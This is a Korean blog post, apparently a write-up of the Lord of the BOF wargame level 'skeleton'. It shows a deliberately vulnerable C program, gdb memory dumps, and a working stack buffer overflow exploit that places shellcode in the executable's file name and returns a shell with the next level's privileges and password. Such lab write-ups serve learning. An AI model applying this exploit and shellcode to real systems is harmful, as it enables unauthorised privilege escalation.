hacking

[LOB] vampire

hy3on9 2021. 9. 3. 21:00
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

 

이전까지 사용해왔던 argv들을 모두 지우는 코드가 생겼다

쉘 코드를 올릴 다른 공간을 찾아야 한다..

 

우리가 input값으로 넣을 수 있는 것은

실행파일명 : argv[0]

인자값(buffer) : argv[1]

인자값 ~ 인데 이것이 모두 없어졌다 (환경변수나 그런 곳들도..)

 

gdb를 통해서 메모리에 남은 값이 있나 찾아보았다

 

0xbfffffe1:	 ""
0xbfffffe2:	 ""
0xbfffffe3:	 ""
0xbfffffe4:	 ""
0xbfffffe5:	 "/home/vampire/skeletoa"
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""
0xc0000000:	 <Address 0xc0000000 out of bounds>
0xc0000000:	 <Address 0xc0000000 out of bounds>

메모리 stack 거의 끝에 실행파일명이 남아있다

이전 문제에서 사용해본 symbolic link를 활용하여 실행파일명에 shellcode를 올리고

이 값이 있는 위치에 ret를 돌리면 될 것 같다

 

파일명이 바뀌면 값의 위치가 변하니 이를 고려해여 다시 디버깅을 하고 exploit을 하였다

[vampire@localhost vampire]$ ./`python -c 'print "\x90" * 99 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `python -c 'print "A" * 44 + "\x70\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApÿÿ¿
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder

 

skeleton / shellcoder

 

 

이전에 사용하던 기본 25byte shellcode가 먹히지 않았다

그래서 다른 shellcode를 사용하게 되었다.

shellcode 제작법에 대해 공부해보고 포스팅을 해야겠다